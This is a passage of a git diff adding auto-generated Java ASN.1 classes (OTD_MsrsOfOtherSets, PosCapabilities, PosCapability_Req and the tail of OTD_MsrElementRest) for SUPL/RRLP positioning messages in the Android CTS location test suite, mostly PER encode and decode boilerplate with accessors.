+ @Override public Asn1Object getComponentValue() {
+ return getTaCorrection();
+ }
+
+ @Override public void setToNewInstance() {
+ setTaCorrectionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTD_MsrElementRest.taCorrectionType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "taCorrection : "
+ + getTaCorrection().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getOtd_MsrsOfOtherSets() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOtd_MsrsOfOtherSets();
+ }
+
+ @Override public void setToNewInstance() {
+ setOtd_MsrsOfOtherSetsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfOTD_MsrsOfOtherSets.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "otd_MsrsOfOtherSets : "
+ + getOtd_MsrsOfOtherSets().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refFrameNumberType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refFrameNumberType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refFrameNumberType() {
+ super();
+ setValueRange("0", "42431");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refFrameNumberType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refFrameNumberType != null) {
+ return ImmutableList.of(TAG_refFrameNumberType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refFrameNumberType from encoded stream.
+ */
+ public static refFrameNumberType fromPerUnaligned(byte[] encodedBytes) {
+ refFrameNumberType result = new refFrameNumberType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refFrameNumberType from encoded stream.
+ */
+ public static refFrameNumberType fromPerAligned(byte[] encodedBytes) {
+ refFrameNumberType result = new refFrameNumberType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refFrameNumberType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class taCorrectionType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_taCorrectionType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public taCorrectionType() {
+ super();
+ setValueRange("0", "960");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_taCorrectionType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_taCorrectionType != null) {
+ return ImmutableList.of(TAG_taCorrectionType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new taCorrectionType from encoded stream.
+ */
+ public static taCorrectionType fromPerUnaligned(byte[] encodedBytes) {
+ taCorrectionType result = new taCorrectionType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new taCorrectionType from encoded stream.
+ */
+ public static taCorrectionType fromPerAligned(byte[] encodedBytes) {
+ taCorrectionType result = new taCorrectionType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "taCorrectionType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("OTD_MsrElementRest = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrsOfOtherSets.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrsOfOtherSets.java
new file mode 100755
index 0000000..3c21d8e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrsOfOtherSets.java
@@ -0,0 +1,358 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class OTD_MsrsOfOtherSets extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_OTD_MsrsOfOtherSets
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "OTD_MsrsOfOtherSets: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public OTD_MsrsOfOtherSets() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_OTD_MsrsOfOtherSets;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_OTD_MsrsOfOtherSets != null) {
+ return ImmutableList.of(TAG_OTD_MsrsOfOtherSets);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new OTD_MsrsOfOtherSets from encoded stream.
+ */
+ public static OTD_MsrsOfOtherSets fromPerUnaligned(byte[] encodedBytes) {
+ OTD_MsrsOfOtherSets result = new OTD_MsrsOfOtherSets();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new OTD_MsrsOfOtherSets from encoded stream.
+ */
+ public static OTD_MsrsOfOtherSets fromPerAligned(byte[] encodedBytes) {
+ OTD_MsrsOfOtherSets result = new OTD_MsrsOfOtherSets();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $IdentityNotPresent(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new OTD_Measurement();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTD_Measurement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $IdentityPresent(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new OTD_MeasurementWithID();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTD_MeasurementWithID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isIdentityNotPresent() {
+ return !hasExtensionValue() && Select.$IdentityNotPresent == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isIdentityNotPresent}.
+ */
+ @SuppressWarnings("unchecked")
+ public OTD_Measurement getIdentityNotPresent() {
+ if (!isIdentityNotPresent()) {
+ throw new IllegalStateException("OTD_MsrsOfOtherSets value not a IdentityNotPresent");
+ }
+ return (OTD_Measurement) element;
+ }
+
+ public void setIdentityNotPresent(OTD_Measurement selected) {
+ selection = Select.$IdentityNotPresent;
+ extension = false;
+ element = selected;
+ }
+
+ public OTD_Measurement setIdentityNotPresentToNewInstance() {
+ OTD_Measurement element = new OTD_Measurement();
+ setIdentityNotPresent(element);
+ return element;
+ }
+
+
+
+ public boolean isIdentityPresent() {
+ return !hasExtensionValue() && Select.$IdentityPresent == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isIdentityPresent}.
+ */
+ @SuppressWarnings("unchecked")
+ public OTD_MeasurementWithID getIdentityPresent() {
+ if (!isIdentityPresent()) {
+ throw new IllegalStateException("OTD_MsrsOfOtherSets value not a IdentityPresent");
+ }
+ return (OTD_MeasurementWithID) element;
+ }
+
+ public void setIdentityPresent(OTD_MeasurementWithID selected) {
+ selection = Select.$IdentityPresent;
+ extension = false;
+ element = selected;
+ }
+
+ public OTD_MeasurementWithID setIdentityPresentToNewInstance() {
+ OTD_MeasurementWithID element = new OTD_MeasurementWithID();
+ setIdentityPresent(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "OTD_MsrsOfOtherSets = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapabilities.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapabilities.java
new file mode 100755
index 0000000..293d530
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapabilities.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PosCapabilities extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PosCapabilities
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PosCapabilities() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PosCapabilities;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PosCapabilities != null) {
+ return ImmutableList.of(TAG_PosCapabilities);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PosCapabilities from encoded stream.
+ */
+ public static PosCapabilities fromPerUnaligned(byte[] encodedBytes) {
+ PosCapabilities result = new PosCapabilities();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PosCapabilities from encoded stream.
+ */
+ public static PosCapabilities fromPerAligned(byte[] encodedBytes) {
+ PosCapabilities result = new PosCapabilities();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NonGANSSPositionMethods nonGANSSpositionMethods_;
+ public NonGANSSPositionMethods getNonGANSSpositionMethods() {
+ return nonGANSSpositionMethods_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NonGANSSPositionMethods
+ */
+ public void setNonGANSSpositionMethods(Asn1Object value) {
+ this.nonGANSSpositionMethods_ = (NonGANSSPositionMethods) value;
+ }
+ public NonGANSSPositionMethods setNonGANSSpositionMethodsToNewInstance() {
+ nonGANSSpositionMethods_ = new NonGANSSPositionMethods();
+ return nonGANSSpositionMethods_;
+ }
+
+ private GANSSPositionMethods gANSSPositionMethods_;
+ public GANSSPositionMethods getGANSSPositionMethods() {
+ return gANSSPositionMethods_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSPositionMethods
+ */
+ public void setGANSSPositionMethods(Asn1Object value) {
+ this.gANSSPositionMethods_ = (GANSSPositionMethods) value;
+ }
+ public GANSSPositionMethods setGANSSPositionMethodsToNewInstance() {
+ gANSSPositionMethods_ = new GANSSPositionMethods();
+ return gANSSPositionMethods_;
+ }
+
+ private MultipleMeasurementSets multipleMeasurementSets_;
+ public MultipleMeasurementSets getMultipleMeasurementSets() {
+ return multipleMeasurementSets_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MultipleMeasurementSets
+ */
+ public void setMultipleMeasurementSets(Asn1Object value) {
+ this.multipleMeasurementSets_ = (MultipleMeasurementSets) value;
+ }
+ public MultipleMeasurementSets setMultipleMeasurementSetsToNewInstance() {
+ multipleMeasurementSets_ = new MultipleMeasurementSets();
+ return multipleMeasurementSets_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNonGANSSpositionMethods() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNonGANSSpositionMethods();
+ }
+
+ @Override public void setToNewInstance() {
+ setNonGANSSpositionMethodsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NonGANSSPositionMethods.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "nonGANSSpositionMethods : "
+ + getNonGANSSpositionMethods().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGANSSPositionMethods() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGANSSPositionMethods();
+ }
+
+ @Override public void setToNewInstance() {
+ setGANSSPositionMethodsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSPositionMethods.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSPositionMethods : "
+ + getGANSSPositionMethods().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getMultipleMeasurementSets() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMultipleMeasurementSets();
+ }
+
+ @Override public void setToNewInstance() {
+ setMultipleMeasurementSetsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MultipleMeasurementSets.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "multipleMeasurementSets : "
+ + getMultipleMeasurementSets().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PosCapabilities = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Req.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Req.java
new file mode 100755
index 0000000..c959580
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Req.java
@@ -0,0 +1,345 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.map_extensiondatatypes.ExtensionContainer;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PosCapability_Req extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PosCapability_Req
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PosCapability_Req() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PosCapability_Req;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PosCapability_Req != null) {
+ return ImmutableList.of(TAG_PosCapability_Req);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PosCapability_Req from encoded stream.
+ */
+ public static PosCapability_Req fromPerUnaligned(byte[] encodedBytes) {
+ PosCapability_Req result = new PosCapability_Req();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PosCapability_Req from encoded stream.
+ */
+ public static PosCapability_Req fromPerAligned(byte[] encodedBytes) {
+ PosCapability_Req result = new PosCapability_Req();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Extended_reference extended_reference_;
+ public Extended_reference getExtended_reference() {
+ return extended_reference_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Extended_reference
+ */
+ public void setExtended_reference(Asn1Object value) {
+ this.extended_reference_ = (Extended_reference) value;
+ }
+ public Extended_reference setExtended_referenceToNewInstance() {
+ extended_reference_ = new Extended_reference();
+ return extended_reference_;
+ }
+
+ private GANSSPositionMethods gANSSPositionMethods_;
+ public GANSSPositionMethods getGANSSPositionMethods() {
+ return gANSSPositionMethods_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSPositionMethods
+ */
+ public void setGANSSPositionMethods(Asn1Object value) {
+ this.gANSSPositionMethods_ = (GANSSPositionMethods) value;
+ }
+ public GANSSPositionMethods setGANSSPositionMethodsToNewInstance() {
+ gANSSPositionMethods_ = new GANSSPositionMethods();
+ return gANSSPositionMethods_;
+ }
+
+ private ExtensionContainer extensionContainer_;
+ public ExtensionContainer getExtensionContainer() {
+ return extensionContainer_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExtensionContainer
+ */
+ public void setExtensionContainer(Asn1Object value) {
+ this.extensionContainer_ = (ExtensionContainer) value;
+ }
+ public ExtensionContainer setExtensionContainerToNewInstance() {
+ extensionContainer_ = new ExtensionContainer();
+ return extensionContainer_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtended_reference() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtended_reference();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtended_referenceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Extended_reference.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extended_reference : "
+ + getExtended_reference().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGANSSPositionMethods() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
